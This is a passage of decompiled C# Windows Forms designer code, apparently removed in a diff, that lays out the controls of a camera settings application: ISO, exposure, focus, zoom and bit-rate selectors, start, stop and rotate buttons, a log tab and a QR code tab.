(byte)204); - ((Control)IByteRateV).Location = new Point(113, 120); - ((Control)IByteRateV).Name = "IByteRateV"; - ((Control)IByteRateV).Size = new Size(206, 15); - ((Control)IByteRateV).TabIndex = 65; - IByteRateV.TextAlign = (ContentAlignment)64; - ((Control)label12).Anchor = (AnchorStyles)15; - ((Control)label12).AutoSize = true; - ((Control)label12).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)label12).Location = new Point(3, 120); - ((Control)label12).Name = "label12"; - ((Control)label12).Size = new Size(104, 15); - ((Control)label12).TabIndex = 64; - ((Control)label12).Text = "Byte rate video"; - label12.TextAlign = (ContentAlignment)64; - ((Control)label11).Anchor = (AnchorStyles)15; - ((Control)label11).AutoSize = true; - ((Control)label11).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)label11).Location = new Point(3, 195); - ((Control)label11).Name = "label11"; - ((Control)label11).Size = new Size(104, 15); - ((Control)label11).TabIndex = 61; - ((Control)label11).Text = "Bit.rate output"; - label11.TextAlign = (ContentAlignment)64; - ((Control)IBitRateV).Anchor = (AnchorStyles)15; - ((Control)IBitRateV).AutoSize = true; - ((Control)IBitRateV).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)IBitRateV).Location = new Point(113, 105); - ((Control)IBitRateV).Name = "IBitRateV"; - ((Control)IBitRateV).Size = new Size(206, 15); - ((Control)IBitRateV).TabIndex = 59; - IBitRateV.TextAlign = (ContentAlignment)64; - ((Control)label8).Anchor = (AnchorStyles)15; - ((Control)label8).AutoSize = true; - ((Control)label8).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)label8).Location = new Point(3, 105); - ((Control)label8).Name = "label8"; - ((Control)label8).Size = new Size(104, 15); - ((Control)label8).TabIndex = 58; - ((Control)label8).Text = "Bit rate video"; - label8.TextAlign = (ContentAlignment)64; - ((Control)label10).Anchor = (AnchorStyles)15; - ((Control)label10).AutoSize = true; - ((Control)label10).Font = new Font("Microsoft Sans Serif", 9f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)label10).Location = new Point(3, 60); - ((Control)label10).Name = "label10"; - ((Control)label10).Size = new Size(104, 15); - ((Control)label10).TabIndex = 57; - ((Control)label10).Text = "Aperture"; - label10.TextAlign = (ContentAlignment)64; - ((Control)lAperture).Anchor = (AnchorStyles)15; - ((Control)lAperture).AutoSize = true; - ((Control)lAperture).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)lAperture).Location = new Point(113, 60); - ((Control)lAperture).Name = "lAperture"; - ((Control)lAperture).Size = new Size(206, 15); - ((Control)lAperture).TabIndex = 55; - lAperture.TextAlign = (ContentAlignment)16; - ((Control)label6).Anchor = (AnchorStyles)15; - ((Control)label6).AutoSize = true; - ((Control)label6).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)label6).Location = new Point(3, 45); - ((Control)label6).Name = "label6"; - ((Control)label6).Size = new Size(104, 15); - ((Control)label6).TabIndex = 56; - ((Control)label6).Text = "Exposure"; - label6.TextAlign = (ContentAlignment)64; - ((Control)lSTime).Anchor = (AnchorStyles)15; - ((Control)lSTime).AutoSize = true; - ((Control)lSTime).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)lSTime).Location = new Point(113, 45); - ((Control)lSTime).Name = "lSTime"; - ((Control)lSTime).Size = new Size(206, 15); - ((Control)lSTime).TabIndex = 52; - lSTime.TextAlign = (ContentAlignment)16; - ((Control)label3).Anchor = (AnchorStyles)15; - ((Control)label3).AutoSize = true; - ((Control)label3).Font = new Font("Microsoft Sans Serif", 9f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)label3).Location = new Point(3, 30); - ((Control)label3).Name = "label3"; - ((Control)label3).Size = new Size(104, 15); - ((Control)label3).TabIndex = 54; - ((Control)label3).Text = "FPS"; - label3.TextAlign = (ContentAlignment)64; - ((Control)lDuration).Anchor = (AnchorStyles)15; - ((Control)lDuration).AutoSize = true; - ((Control)lDuration).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)lDuration).Location = new Point(113, 30); - ((Control)lDuration).Name = "lDuration"; - ((Control)lDuration).Size = new Size(206, 15); - ((Control)lDuration).TabIndex = 51; - lDuration.TextAlign = (ContentAlignment)16; - ((Control)lDuration).Click += LDuration_Click; - ((Control)lISO).Anchor = (AnchorStyles)15; - ((Control)lISO).AutoSize = true; - ((Control)lISO).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)lISO).Location = new Point(113, 15); - ((Control)lISO).Name = "lISO"; - ((Control)lISO).Size = new Size(206, 15); - ((Control)lISO).TabIndex = 53; - lISO.TextAlign = (ContentAlignment)16; - ((Control)label2).Anchor = (AnchorStyles)15; - ((Control)label2).AutoSize = true; - ((Control)label2).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)label2).Location = new Point(3, 15); - ((Control)label2).Name = "label2"; - ((Control)label2).Size = new Size(104, 15); - ((Control)label2).TabIndex = 48; - ((Control)label2).Text = "ISO"; - label2.TextAlign = (ContentAlignment)64; - ((Control)label2).Click += Label2_Click; - ((Control)label4).Anchor = (AnchorStyles)15; - ((Control)label4).AutoSize = true; - ((Control)label4).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)label4).Location = new Point(3, 0); - ((Control)label4).Name = "label4"; - ((Control)label4).Size = new Size(104, 15); - ((Control)label4).TabIndex = 50; - ((Control)label4).Text = "Focus"; - label4.TextAlign = (ContentAlignment)64; - ((Control)lFocus).Anchor = (AnchorStyles)15; - ((Control)lFocus).AutoSize = true; - ((Control)lFocus).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)lFocus).Location = new Point(113, 0); - ((Control)lFocus).Name = "lFocus"; - ((Control)lFocus).Size = new Size(206, 15); - ((Control)lFocus).TabIndex = 49; - lFocus.TextAlign = (ContentAlignment)16; - ((Control)label9).Anchor = (AnchorStyles)15; - ((Control)label9).AutoSize = true; - ((Control)label9).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)label9).Location = new Point(3, 150); - ((Control)label9).Name = "label9"; - ((Control)label9).Size = new Size(104, 15); - ((Control)label9).TabIndex = 60; - ((Control)label9).Text = "Bit rate input"; - label9.TextAlign = (ContentAlignment)64; - ((Control)IBitRateI).Anchor = (AnchorStyles)15; - ((Control)IBitRateI).AutoSize = true; - ((Control)IBitRateI).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)IBitRateI).Location = new Point(113, 150); - ((Control)IBitRateI).Name = "IBitRateI"; - ((Control)IBitRateI).Size = new Size(206, 15); - ((Control)IBitRateI).TabIndex = 62; - IBitRateI.TextAlign = (ContentAlignment)64; - ((Control)IBitRateO).Anchor = (AnchorStyles)15; - ((Control)IBitRateO).AutoSize = true; - ((Control)IBitRateO).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)0, (GraphicsUnit)3, (byte)204); - ((Control)IBitRateO).Location = new Point(113, 195); - ((Control)IBitRateO).Name = "IBitRateO"; - ((Control)IBitRateO).Size = new Size(206, 15); - ((Control)IBitRateO).TabIndex = 63; - IBitRateO.TextAlign = (ContentAlignment)64; - ((Control)tableLayoutPanel1).BackColor = SystemColors.Control; - tableLayoutPanel1.CellBorderStyle = (TableLayoutPanelCellBorderStyle)1; - tableLayoutPanel1.ColumnCount = 2; - tableLayoutPanel1.ColumnStyles.Add(new ColumnStyle((SizeType)1, 80f)); - tableLayoutPanel1.ColumnStyles.Add(new ColumnStyle((SizeType)2, 100f)); - tableLayoutPanel1.Controls.Add((Control)(object)label15, 0, 6); - tableLayoutPanel1.Controls.Add((Control)(object)FPS, 1, 4); - tableLayoutPanel1.Controls.Add((Control)(object)labelExp, 0, 5); - tableLayoutPanel1.Controls.Add((Control)(object)labelFPS, 0, 4); - tableLayoutPanel1.Controls.Add((Control)(object)ISO, 1, 3); - tableLayoutPanel1.Controls.Add((Control)(object)labelISO, 0, 3); - tableLayoutPanel1.Controls.Add((Control)(object)pContrast, 0, 1); - tableLayoutPanel1.Controls.Add((Control)(object)pBright, 0, 0); - tableLayoutPanel1.Controls.Add((Control)(object)BitRateBox, 1, 8); - tableLayoutPanel1.Controls.Add((Control)(object)Exposure, 1, 5); - tableLayoutPanel1.Controls.Add((Control)(object)Zoom, 1, 6); - tableLayoutPanel1.Controls.Add((Control)(object)Focuse, 1, 2); - tableLayoutPanel1.Controls.Add((Control)(object)Contrast, 1, 1); - tableLayoutPanel1.Controls.Add((Control)(object)Brightness, 1, 0); - tableLayoutPanel1.Controls.Add((Control)(object)panel3, 1, 9); - tableLayoutPanel1.Controls.Add((Control)(object)panel_chenal, 0, 9); - tableLayoutPanel1.Controls.Add((Control)(object)label1, 0, 2); - ((Control)tableLayoutPanel1).Dock = (DockStyle)1; - ((Control)tableLayoutPanel1).Location = new Point(0, 55); - ((Control)tableLayoutPanel1).Name = "tableLayoutPanel1"; - tableLayoutPanel1.RowCount = 10; - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 25f)); - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 25f)); - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 40f)); - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 25f)); - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 25f)); - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 25f)); - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 25f)); - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 25f)); - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 25f)); - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 25f)); - tableLayoutPanel1.RowStyles.Add(new RowStyle((SizeType)1, 20f)); - ((Control)tableLayoutPanel1).Size = new Size(322, 278); - ((Control)tableLayoutPanel1).TabIndex = 6; - ((Control)label15).Anchor = (AnchorStyles)15; - ((Control)label15).AutoSize = true; - ((Control)label15).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)label15).Location = new Point(4, 172); - ((Control)label15).Name = "label15"; - ((Control)label15).Size = new Size(74, 25); - ((Control)label15).TabIndex = 54; - ((Control)label15).Text = "zoom"; - label15.TextAlign = (ContentAlignment)32; - ((Control)FPS).Dock = (DockStyle)5; - ((ScrollBar)FPS).LargeChange = 4; - ((Control)FPS).Location = new Point(82, 120); - ((ScrollBar)FPS).Maximum = 24; - ((ScrollBar)FPS).Minimum = 2; - ((Control)FPS).Name = "FPS"; - ((Control)FPS).Size = new Size(239, 25); - ((Control)FPS).TabIndex = 53; - ((ScrollBar)FPS).Value = 21; - ((ScrollBar)FPS).ValueChanged += FPS_ValueChanged; - ((Control)labelExp).Anchor = (AnchorStyles)15; - ((Control)labelExp).AutoSize = true; - ((Control)labelExp).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)labelExp).Location = new Point(4, 146); - ((Control)labelExp).Name = "labelExp"; - ((Control)labelExp).Size = new Size(74, 25); - ((Control)labelExp).TabIndex = 52; - ((Control)labelExp).Text = "exposure"; - labelExp.TextAlign = (ContentAlignment)32; - ((Control)labelFPS).Anchor = (AnchorStyles)15; - ((Control)labelFPS).AutoSize = true; - ((Control)labelFPS).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)labelFPS).Location = new Point(4, 120); - ((Control)labelFPS).Name = "labelFPS"; - ((Control)labelFPS).Size = new Size(74, 25); - ((Control)labelFPS).TabIndex = 51; - ((Control)labelFPS).Text = "FPS"; - labelFPS.TextAlign = (ContentAlignment)32; - ((Control)ISO).Dock = (DockStyle)5; - ((Control)ISO).Location = new Point(82, 94); - ((ScrollBar)ISO).Maximum = 1210; - ((ScrollBar)ISO).Minimum = 1; - ((Control)ISO).Name = "ISO"; - ((Control)ISO).Size = new Size(239, 25); - ((Control)ISO).TabIndex = 50; - ((ScrollBar)ISO).Value = 1; - ((ScrollBar)ISO).ValueChanged += ISO_ValueChanged; - ((Control)labelISO).Anchor = (AnchorStyles)15; - ((Control)labelISO).AutoSize = true; - ((Control)labelISO).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)labelISO).Location = new Point(4, 94); - ((Control)labelISO).Name = "labelISO"; - ((Control)labelISO).Size = new Size(74, 25); - ((Control)labelISO).TabIndex = 49; - ((Control)labelISO).Text = "ISO"; - labelISO.TextAlign = (ContentAlignment)32; - ((Control)pContrast).BackgroundImage = (Image)componentResourceManager.GetObject("pContrast.BackgroundImage"); - ((Control)pContrast).BackgroundImageLayout = (ImageLayout)4; - ((Control)pContrast).Dock = (DockStyle)5; - ((Control)pContrast).Location = new Point(4, 30); - ((Control)pContrast).Name = "pContrast"; - ((Control)pContrast).Size = new Size(74, 19); - pContrast.TabIndex = 46; - pContrast.TabStop = false; - ((Control)pContrast).DoubleClick += pictureBox4_DoubleClick; - ((Control)pBright).BackgroundImage = (Image)componentResourceManager.GetObject("pBright.BackgroundImage"); - ((Control)pBright).BackgroundImageLayout = (ImageLayout)4; - ((Control)pBright).Dock = (DockStyle)5; - ((Control)pBright).Location = new Point(4, 4); - ((Control)pBright).Name = "pBright"; - ((Control)pBright).Size = new Size(74, 19); - pBright.TabIndex = 8; - pBright.TabStop = false; - ((Control)pBright).DoubleClick += pictureBox1_DoubleClick; - ((Control)BitRateBox).Dock = (DockStyle)5; - BitRateBox.DropDownStyle = (ComboBoxStyle)2; - ((ListControl)BitRateBox).FormattingEnabled = true; - BitRateBox.ItemHeight = 13; - BitRateBox.Items.AddRange(new object[31] - { - "100k", "250k", "500k", "750k", "1000k", "1500k", "1800k", "2000k", "2500k", "2800k", - "2900k", "3M", "4M", "5M", "6M", "7M", "8M", "9M", "10M", "11M", - "12M", "15M", "20M", "25M", "30M", "35M", "40M", "45M", "50M", "60M", - "70M" - }); - ((Control)BitRateBox).Location = new Point(85, 227); - ((Control)BitRateBox).Name = "BitRateBox"; - ((Control)BitRateBox).Size = new Size(233, 21); - ((Control)BitRateBox).TabIndex = 42; - ((Control)Exposure).Dock = (DockStyle)5; - ((Control)Exposure).Location = new Point(82, 146); - ((ScrollBar)Exposure).Maximum = 210; - ((ScrollBar)Exposure).Minimum = 2; - ((Control)Exposure).Name = "Exposure"; - ((Control)Exposure).Size = new Size(239, 25); - ((Control)Exposure).TabIndex = 31; - ((ScrollBar)Exposure).Value = 2; - ((ScrollBar)Exposure).ValueChanged += Exposure_ValueChanged; - ((Control)Zoom).Dock = (DockStyle)5; - ((ScrollBar)Zoom).LargeChange = 1; - ((Control)Zoom).Location = new Point(82, 172); - ((ScrollBar)Zoom).Maximum = 10; - ((Control)Zoom).Name = "Zoom"; - ((Control)Zoom).Size = new Size(239, 25); - ((Control)Zoom).TabIndex = 28; - ((ScrollBar)Zoom).ValueChanged += Zoom_ValueChanged; - ((Control)Focuse).Dock = (DockStyle)5; - ((ScrollBar)Focuse).LargeChange = 25; - ((Control)Focuse).Location = new Point(82, 53); - ((ScrollBar)Focuse).Maximum = 1025; - ((ScrollBar)Focuse).Minimum = 1; - ((Control)Focuse).Name = "Focuse"; - ((Control)Focuse).Size = new Size(239, 40); - ((Control)Focuse).TabIndex = 27; - ((ScrollBar)Focuse).Value = 1; - ((ScrollBar)Focuse).ValueChanged += Focus_ValueChanged; - ((Control)Contrast).Dock = (DockStyle)5; - ((Control)Contrast).Location = new Point(82, 27); - ((ScrollBar)Contrast).Maximum = 200; - ((ScrollBar)Contrast).Minimum = -200; - ((Control)Contrast).Name = "Contrast"; - ((Control)Contrast).Size = new Size(239, 25); - ((Control)Contrast).TabIndex = 6; - ((ScrollBar)Contrast).ValueChanged += ValueChanged; - ((Control)Brightness).Dock = (DockStyle)5; - ((Control)Brightness).Location = new Point(82, 1); - ((ScrollBar)Brightness).Maximum = 200; - ((ScrollBar)Brightness).Minimum = -200; - ((Control)Brightness).Name = "Brightness"; - ((Control)Brightness).Size = new Size(239, 25); - ((Control)Brightness).TabIndex = 4; - ((ScrollBar)Brightness).ValueChanged += ValueChanged; - ((Control)panel3).Controls.Add((Control)(object)comboBox2); - ((Control)panel3).Controls.Add((Control)(object)comboBox1); - ((Control)panel3).Controls.Add((Control)(object)checkBox_saveVideo); - ((Control)panel3).Dock = (DockStyle)5; - ((Control)panel3).Location = new Point(85, 253); - ((Control)panel3).Name = "panel3"; - ((Control)panel3).Size = new Size(233, 21); - ((Control)panel3).TabIndex = 43; - ((Control)comboBox2).Dock = (DockStyle)4; - comboBox2.DropDownStyle = (ComboBoxStyle)2; - ((ListControl)comboBox2).FormattingEnabled = true; - comboBox2.ItemHeight = 13; - comboBox2.Items.AddRange(new object[3] { "1920 x 1080 x 30", "1280 x 720 x 120", "1280 x 720 x 240" }); - ((Control)comboBox2).Location = new Point(80, 0); - ((Control)comboBox2).Name = "comboBox2"; - ((Control)comboBox2).Size = new Size(43, 21); - ((Control)comboBox2).TabIndex = 44; - ((Control)comboBox2).Visible = false; - comboBox2.SelectedIndexChanged += ComboBox2_SelectedIndexChanged; - ((Control)comboBox1).Dock = (DockStyle)4; - comboBox1.DropDownStyle = (ComboBoxStyle)2; - ((ListControl)comboBox1).FormattingEnabled = true; - comboBox1.ItemHeight = 13; - comboBox1.Items.AddRange(new object[3] { "1920 x 1080 x 30", "1280 x 720 x 120", "1280 x 720 x 240" }); - ((Control)comboBox1).Location = new Point(123, 0); - ((Control)comboBox1).Name = "comboBox1"; - ((Control)comboBox1).Size = new Size(110, 21); - ((Control)comboBox1).TabIndex = 43; - ((Control)checkBox_saveVideo).AutoSize = true; - ((Control)checkBox_saveVideo).Location = new Point(0, 2); - ((Control)checkBox_saveVideo).Name = "checkBox_saveVideo"; - ((Control)checkBox_saveVideo).Size = new Size(74, 17); - ((Control)checkBox_saveVideo).TabIndex = 8; - ((Control)checkBox_saveVideo).Text = "保存視頻"; - ((ButtonBase)checkBox_saveVideo).UseVisualStyleBackColor = true; - ((Control)checkBox_saveVideo).Visible = false; - ((Control)checkBox_saveVideo).Click += checkBox_saveVideo_Click; - ((Control)panel_chenal).Controls.Add((Control)(object)button9); - ((Control)panel_chenal).Controls.Add((Control)(object)chenal); - ((Control)panel_chenal).Dock = (DockStyle)5; - ((Control)panel_chenal).Location = new Point(4, 253); - ((Control)panel_chenal).Name = "panel_chenal"; - ((Control)panel_chenal).Size = new Size(74, 21); - ((Control)panel_chenal).TabIndex = 44; - ((Control)button9).Dock = (DockStyle)5; - ((Control)button9).Location = new Point(25, 0); - ((Control)button9).Name = "button9"; - ((Control)button9).Size = new Size(49, 21); - ((Control)button9).TabIndex = 46; - ((Control)button9).Text = "Ѻ"; - ((ButtonBase)button9).UseVisualStyleBackColor = true; - ((Control)button9).Click += SerialNumber_DoubleClick; - ((Control)chenal).Dock = (DockStyle)3; - ((Control)chenal).Location = new Point(0, 0); - chenal.Mask = "00"; - ((Control)chenal).Name = "chenal"; - ((Control)chenal).Size = new Size(25, 20); - ((Control)chenal).TabIndex = 45; - chenal.TextAlign = (HorizontalAlignment)2; - ((Control)chenal).Visible = false; - ((Control)label1).Anchor = (AnchorStyles)15; - ((Control)label1).AutoSize = true; - ((Control)label1).Font = new Font("Microsoft Sans Serif", 9.75f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)label1).Location = new Point(4, 53); - ((Control)label1).Name = "label1"; - ((Control)label1).Size = new Size(74, 40); - ((Control)label1).TabIndex = 47; - ((Control)label1).Text = "Focus"; - label1.TextAlign = (ContentAlignment)32; - ((ScrollableControl)tableLayoutPanel2).AutoScroll = true; - tableLayoutPanel2.ColumnCount = 6; - tableLayoutPanel2.ColumnStyles.Add(new ColumnStyle((SizeType)2, 16.66667f)); - tableLayoutPanel2.ColumnStyles.Add(new ColumnStyle((SizeType)2, 16.66667f)); - tableLayoutPanel2.ColumnStyles.Add(new ColumnStyle((SizeType)2, 16.66667f)); - tableLayoutPanel2.ColumnStyles.Add(new ColumnStyle((SizeType)2, 16.66667f)); - tableLayoutPanel2.ColumnStyles.Add(new ColumnStyle((SizeType)2, 16.66667f)); - tableLayoutPanel2.ColumnStyles.Add(new ColumnStyle((SizeType)2, 16.66667f)); - tableLayoutPanel2.Controls.Add((Control)(object)button8, 4, 0); - tableLayoutPanel2.Controls.Add((Control)(object)button5, 1, 0); - tableLayoutPanel2.Controls.Add((Control)(object)button6, 0, 0); - tableLayoutPanel2.Controls.Add((Control)(object)button4, 5, 0); - tableLayoutPanel2.Controls.Add((Control)(object)button3, 3, 0); - tableLayoutPanel2.Controls.Add((Control)(object)button7, 2, 0); - ((Control)tableLayoutPanel2).Dock = (DockStyle)1; - ((Control)tableLayoutPanel2).Location = new Point(0, 0); - ((Control)tableLayoutPanel2).Name = "tableLayoutPanel2"; - tableLayoutPanel2.RowCount = 1; - tableLayoutPanel2.RowStyles.Add(new RowStyle((SizeType)2, 100f)); - ((Control)tableLayoutPanel2).Size = new Size(322, 55); - ((Control)tableLayoutPanel2).TabIndex = 5; - ((Control)button8).Anchor = (AnchorStyles)15; - ((Control)button8).AutoSize = true; - ((Control)button8).BackColor = Color.Transparent; - ((Control)button8).BackgroundImage = (Image)componentResourceManager.GetObject("button8.BackgroundImage"); - ((Control)button8).BackgroundImageLayout = (ImageLayout)4; - ((Control)button8).Font = new Font("Microsoft Sans Serif", 8.25f, (FontStyle)2, (GraphicsUnit)3, (byte)204); - ((Control)button8).Location = new Point(215, 3); - ((Control)button8).Name = "button8"; - ((Control)button8).Size = new Size(47, 49); - ((Control)button8).TabIndex = 3; - ((Control)button8).TabStop = false; - ((ButtonBase)button8).TextAlign = (ContentAlignment)256; - ((ButtonBase)button8).UseVisualStyleBackColor = false; - ((Control)button8).Click += Button8_Click; - ((Control)button8).Enter += _Enter; - ((Control)button5).Anchor = (AnchorStyles)15; - ((Control)button5).AutoSize = true; - ((Control)button5).BackgroundImage = (Image)componentResourceManager.GetObject("button5.BackgroundImage"); - ((Control)button5).BackgroundImageLayout = (ImageLayout)4; - ((Control)button5).Location = new Point(56, 3); - ((Control)button5).Name = "button5"; - ((Control)button5).Size = new Size(47, 49); - ((Control)button5).TabIndex = 1; - ((Control)button5).TabStop = false; - ((ButtonBase)button5).UseVisualStyleBackColor = true; - ((Control)button5).Click += стопToolStripMenuItem_Click; - ((Control)button5).Enter += _Enter; - ((Control)button6).Anchor = (AnchorStyles)15; - ((Control)button6).AutoSize = true; - ((Control)button6).BackgroundImage = (Image)componentResourceManager.GetObject("button6.BackgroundImage"); - ((Control)button6).BackgroundImageLayout = (ImageLayout)4; - ((Control)button6).Location = new Point(3, 3); - ((Control)button6).Name = "button6"; - ((Control)button6).Size = new Size(47, 49); - ((Control)button6).TabIndex = 0; - ((Control)button6).TabStop = false; - ((ButtonBase)button6).UseVisualStyleBackColor = true; - ((Control)button6).Click += стартToolStripMenuItem_Click; - ((Control)button6).Enter += _Enter; - ((Control)button4).Anchor = (AnchorStyles)15; - ((Control)button4).AutoSize = true; - ((Control)button4).BackgroundImage = (Image)componentResourceManager.GetObject("button4.BackgroundImage"); - ((Control)button4).BackgroundImageLayout = (ImageLayout)4; - ((Control)button4).Location = new Point(268, 3); - ((Control)button4).Name = "button4"; - ((Control)button4).Size = new Size(51, 49); - ((Control)button4).TabIndex = 1; - ((Control)button4).TabStop = false; - ((ButtonBase)button4).UseVisualStyleBackColor = true; - ((Control)button4).Click += повернутьПротивЧасовойToolStripMenuItem_Click; - ((Control)button4).Enter += _Enter; - ((Control)button3).Anchor = (AnchorStyles)15; - ((Control)button3).AutoSize = true; - ((Control)button3).BackgroundImage = (Image)componentResourceManager.GetObject("button3.BackgroundImage"); - ((Control)button3).BackgroundImageLayout = (ImageLayout)4; - ((Control)button3).Location = new Point(162, 3); - ((Control)button3).Name = "button3"; - ((Control)button3).Size = new Size(47, 49); - ((Control)button3).TabIndex = 0; - ((Control)button3).TabStop = false; - ((ButtonBase)button3).UseVisualStyleBackColor = true; - ((Control)button3).Click += повернутьToolStripMenuItem_Click; - ((Control)button3).Enter += _Enter; - ((Control)button7).Anchor = (AnchorStyles)15; - ((Control)button7).AutoSize = true; - ((Control)button7).BackgroundImage = (Image)componentResourceManager.GetObject("button7.BackgroundImage"); - ((Control)button7).BackgroundImageLayout = (ImageLayout)4; - ((Control)button7).Location = new Point(109, 3); - ((Control)button7).Name = "button7"; - ((Control)button7).Size = new Size(47, 49); - ((Control)button7).TabIndex = 2; - ((Control)button7).TabStop = false; - ((ButtonBase)button7).UseVisualStyleBackColor = true; - ((Control)button7).Click += Button7_Click; - ((Control)button7).Enter += _Enter; - panel4.BorderStyle = (BorderStyle)1; - ((Control)panel4).Controls.Add((Control)(object)panel5); - ((Control)panel4).Controls.Add((Control)(object)label5); - ((Control)panel4).Dock = (DockStyle)1; - ((Control)panel4).Location = new Point(3, 3); - ((Control)panel4).Name = "panel4"; - ((Control)panel4).Size = new Size(1334, 20); - ((Control)panel4).TabIndex = 11; - ((Control)panel4).Enter += panel6_Enter; - ((Control)panel5).BackColor = Color.Transparent; - ((Control)panel5).Controls.Add((Control)(object)panel6); - ((Control)panel5).Dock = (DockStyle)5; - ((Control)panel5).Location = new Point(0, 0); - ((Control)panel5).Name = "panel5"; - ((Control)panel5).Size = new Size(1308, 18); - ((Control)panel5).TabIndex = 12; - ((Control)panel5).Enter += panel6_Enter; - ((Control)panel6).BackColor = Color.Transparent; - ((Control)panel6).Dock = (DockStyle)3; - ((Control)panel6).Location = new Point(0, 0); - ((Control)panel6).Name = "panel6"; - ((Control)panel6).Size = new Size(942, 18); - ((Control)panel6).TabIndex = 0; - ((Control)panel6).DoubleClick += panel6_DoubleClick; - ((Control)panel6).Enter += panel6_Enter; - ((Control)label5).AutoSize = true; - ((Control)label5).Dock = (DockStyle)4; - ((Control)label5).Font = new Font("Microsoft Sans Serif", 12f, (FontStyle)1, (GraphicsUnit)3, (byte)204); - ((Control)label5).Location = new Point(1308, 0); - ((Control)label5).Name = "label5"; - ((Control)label5).Size = new Size(24, 20); - ((Control)label5).TabIndex = 11; - ((Control)label5).Text = "%"; - ((Control)label5).Enter += panel6_Enter; - ((Control)tabPage2).Controls.Add((Control)(object)listBox1); - tabPage2.Location = new Point(4, 4); - ((Control)tabPage2).Name = "tabPage2"; - ((Control)tabPage2).Padding = new Padding(3); - ((Control)tabPage2).Size = new Size(1340, 709); - tabPage2.TabIndex = 1; - ((Control)tabPage2).Text = "日誌"; - tabPage2.UseVisualStyleBackColor = true; - ((Control)tabPage3).Controls.Add((Control)(object)linkLabel1); - ((Control)tabPage3).Controls.Add((Control)(object)button2); - ((Control)tabPage3).Controls.Add((Control)(object)button1); - ((Control)tabPage3).Controls.Add((Control)(object)pictureBox5); - tabPage3.Location = new Point(4, 4); - ((Control)tabPage3).Name = "tabPage3"; - ((Control)tabPage3).Padding = new Padding(3); - ((Control)tabPage3).Size = new Size(1340, 709); - tabPage3.TabIndex = 2; - ((Control)tabPage3).Text = "QR"; - tabPage3.UseVisualStyleBackColor = true; - ((Control)linkLabel1).AutoSize = true; - ((Control)linkLabel1).Location = new Point(226, 8); - ((Control)linkLabel1).Name = "linkLabel1"; - ((Control)linkLabel1).Size = new Size(0, 13); - ((Control)linkLabel1).TabIndex = 3; - ((Control)button2).Location = new Point(145, 3); - ((Control)button2).Name = "button2"; - ((Control)button2).Size = new Size(75, 23); - ((Control)button2).TabIndex = 2; - ((Control)button2).Text = "複製"; - ((ButtonBase)button2).UseVisualStyleBackColor = true; - ((Control)button2).Click += button2_Click; - ((Control)button1).Location = new Point(3, 3); - ((Control)button1).Name = "button1"; - ((Control)button1).Size = new Size(136, 23); - ((Control)button1).TabIndex = 1; - ((Control)button1).Text = "複製QR碼"; - ((ButtonBase)button1).UseVisualStyleBackColor = true; - ((Control)button1).Click += button1_Click; - ((Control)pictureBox5).BackgroundImageLayout = (ImageLayout)2; - ((Control)pictureBox5).Dock = (DockStyle)5; - ((Control)pictureBox5).Location = new Point(3, 3); - ((Control)pictureBox5).Name = "pictureBox5"; - ((Control)pictureBox5).Size = new Size(1334, 703); - pictureBox5.TabIndex = 0; - pictureBox5.TabStop = false; - ((Control)panel7).AutoSize = true; - ((Control)panel7).Dock = (DockStyle)1; - ((Control)panel7).Location = new Point(0, 0); - ((Control)panel7).Name = "panel7"; - ((Control)panel7).Size = new Size(346, 0); - ((Control)panel7).TabIndex = 1; - SaveXML.Enabled = true; - SaveXML.Interval = 1000; - SaveXML.Tick += SaveXML_Tick; - ((ContainerControl)this).AutoScaleDimensions = new SizeF(6f, 13f); - ((ContainerControl)this).AutoScaleMode = (AutoScaleMode)1; - ((Form)this).ClientSize = new Size(1367, 717); - ((Control)this).Controls.Add((Control)(object)tabControl1); - ((Control)this).DoubleBuffered = true; - ((Form)this).Icon = (Icon)componentResourceManager.GetObject("$this.Icon"); - ((Control)this).Name = "Form1"; - 